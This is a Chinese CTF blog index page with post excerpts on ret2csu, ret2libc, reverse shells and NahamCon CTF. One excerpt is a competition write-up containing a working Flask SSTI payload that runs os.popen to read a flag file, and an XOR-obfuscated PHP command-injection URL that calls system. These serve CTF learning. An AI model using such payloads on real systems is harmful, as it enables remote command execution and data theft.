最近,跟着ctf-wiki的进度,在研究64位下ret2csu,发现对之前的Ret2Libc在64位中的用法及64位的函数有些误解导致ret2csu卡了好久.故写文以记之.
最近,跟着ctf-wiki的进度,在研究64位下ret2csu,发现对之前的Ret2Libc在64位中的用法及64位的函数有些误解导致ret2csu卡了好久.故写文以记之.
第十三届全国大学生信息安全竞赛-创新实践能力赛西南赛区选拔赛wp
扫一下目录,有个www.rar,解压审计一下代码,找到关键文件key.php
1 |
|
回调函数的rce,不过因为参数c过滤不严格,导致可以通过getheader来rce。
先var_dump(scand(“/“))找到flag文件,再用readfile读就可以了。
随便输入账户登录进去,fuzz一下,在每日报告的第三个参数存在ssti。过滤了些关键字,用globals来找就行。
payload:
1 | status_1=&status_2=&status_3={{url_for.__globals__.os.popen('cat /flag2333_canufindit').read()}} |
一个简单的命令执行,Ban一些符号与字符函数,可以通过重载函数的方法来调用。因此我们利用异或拼出GET然后调用system来rec。
Payload如下:
1 | `http://172.1.21.13/flag.php?search=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag.txt |
`
在研究ret2libc时,耗费几天时间去理解学习。感觉在了解ret2libc技术的同时更多的还是学习到一些调试与编写的技术以及解决了我的一些疑惑,故写文以记之。
最近ctf 貌似对 RCE(远程命令执行)的要求明显提高,最后一步都是考一些关于反弹shell或远程执行某文件并知晓返回结果。然后,这些本linux命令就掌握不够好的菜鸡,雪上加霜。故写下此文来记录下(顺便也方便健忘的我来记忆下(눈_눈))
某周末,在某大佬的推荐下打了下NahamCon CTF在最后几小时里体验了下这真’雨露均沾’的ctf的感觉.(但菜还是菜这点没变(눈_눈) )